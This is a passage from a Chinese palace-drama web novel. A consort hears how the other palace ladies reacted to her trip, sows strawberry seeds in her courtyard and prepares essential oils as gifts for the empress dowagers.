让他们平身,回到熟悉的内室,岑盐絮卸下外出的行头,换上舒适的常服,接过夏禾奉上的热茶,这才感觉真正放松下来。
她呷了一口茶,看向侍立在一旁的夏禾,随口问道:“我不在这两日,宫里可有什么事?”
夏禾上前半步,道:“回主子,宫里一切如常。只是主子随皇上出宫往皇庄的消息,当日便传遍了各宫。”
岑盐絮眉梢微挑,放下茶盏,示意她继续说下去,她知道这事瞒不住,虽然不在意那些娘娘们会作何反应,但在不在意是一回事,知不知道她们的态度又是另一回事。
夏禾垂眸,语气不带任何个人情绪,陈述道:“贵妃娘娘那边并无太多表示,只按例过问了主子离宫期间启祥宫的用度份例,并让人送了些时新瓜果来,说是给主子回来尝鲜。”
岑盐絮点点头。
“惠嫔和荣嫔娘娘处,”夏禾继续道,“听闻消息后,只对下人说‘皇上重视农桑,瑜贵人能随侍在侧,亦是她的机缘’,要她们不要借机生事,便照常照顾阿哥们了。”
这两位到底是生育了皇子的,地位稳固,对这等一时的恩宠,终究是看得淡了些。
“至于僖嫔娘娘……”夏禾说到这里,语气微顿,声音压低了些许,“据说主子出宫后便摔了一套茶具,言语颇为激烈,这两日,她宫里的奴才们行走都提心吊胆的。”
岑盐絮闻言,毫不意外,以僖嫔的性子,若是不闹腾反倒奇怪了。
她只是淡淡“嗯”了一声,表示知道了。
夏禾继续汇报着其他几位娘娘和常在答应们的动向,岑盐絮听完,心中已然有数。
“知道了。”她神色平静,“这两日辛苦你了,将宫里打理得很好。”
“为主子分忧,是奴婢的本分。”夏禾恭敬道。
“去把咱们带回来的那些庄子上的新鲜菜蔬,给这几日表现好的分一分,让他们也尝尝鲜。”
“是,主子。”夏禾领命,立刻下去安排。
岑盐絮独自坐在窗前,看着窗外四方天空。
宫外的自由与鲜活仿佛还历历在目,但回到这红墙黄瓦之内,那些无形的束缚便瞬间重新包裹上来。
不过,她并未感到多少沮丧。
反而因为亲身感受过外面的广阔,更觉得在这深宫之中,拥有自己的立身之本、经营好自己的小天地尤为重要
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康熙的眷顾是一方面,她自己能创造的价值,才是更长久的底气。
*
午后阳光正好,洒在启祥宫的小院里,暖融融的。
岑盐絮歇过午觉,精神饱满,便记起了她的草莓籽。
她让春熙将前两日晒在院子里的那几张宣纸取了进来。
经过几日的暴晒,原本湿润的草莓皮早已变得干硬脆薄,上面那些芝麻似的小籽也变得更容易剥离。
岑盐絮亲自上手,小心翼翼地将干透的草莓皮在干净的油纸上揉碎,然后用将那些细小的草莓籽抖落、收集起来。
最终,她得到了小小一撮褐色的种子,虽然不多,但每一粒都承载着她的期待。
岑盐絮回忆着前世零星看来的知识,下一步应该是把种子泡在水里,等待发芽。
拿了几个碗,装满水,要把种子倒进去的时候,岑盐絮不由得有些犹豫?
真的能行吗?全部的种子都赌这一个方法,万一全死了怎么办?
“去寻几个浅口的陶制花盆来,再找些松软的土。”犹豫再三后,岑盐絮吩咐春熙。
很快,春熙便找来了几个约莫海碗大小的素面陶盆,又从小花园里取来了一些细腻疏松的土壤。
岑盐絮先让春熙在花盆底部垫上几片碎瓦片以便排水,然后填入大半盆园土,轻轻压实。
肥料应该是要等到草莓种子发芽才用的到,现在不急着拿出来。
一半草莓籽倒进水里,看能不能发芽,另一半直接埋在湿润的土壤里,这样就算有一个方法不可行,她的损失也不会太大。
岑盐絮特意用细嘴喷壶将表层土微微喷湿,然后将那些草莓籽撒在湿润的土面上,还不敢撒得太密,也不敢埋得太深,生怕影响出芽。
做完这一切,她在水碗和花盆外糊了一张纸,上面用炭笔标明了草莓和种植日期。
然后,她将这几个盆搬到院中阳光充足的位置。
“往后每日早上,记得用喷壶喷点水,保持土壤湿润,但别浇多了,更不能积水。”她仔细叮嘱负责照料花草的小宫女,“仔细看顾着,若见了绿芽,立刻来报我。”
“是,主子,奴婢记下了。”小宫女连忙应下。
大功告成后,岑盐絮拍了拍手上的浮土,心中充满了期待。
小种子,求求啦,快快发芽吧!
虽然知道从种子到结果需要漫长的等待,而且成功率未知,但等待收获的过程本身,就足以让她感到脚踏实地的快乐。
春熙端上来一盏温热的蜂蜜水,岑盐絮便去净了手,坐在院中的石凳上。
她盘算着,过两日也该把辣椒种子种下去了。
这宫里日子长,总得给自己找些有意思的事情做。
想起库房里又积攒起的几瓶新提炼好的精油,岑盐絮思忖起来。
佟贵妃那里已经送过,宫里两位最尊贵的女人——太皇太后和皇太后那里,没道理不孝敬,这两位老祖宗若是用着好,对她而言只有好处没有坏处。
想到此处,她便不再犹豫,不知道她们喜欢什么味道,便把茉莉的、月季的、薄荷的,各带了一瓶,分别用锦盒装好,带着夏禾,便往慈宁宫去。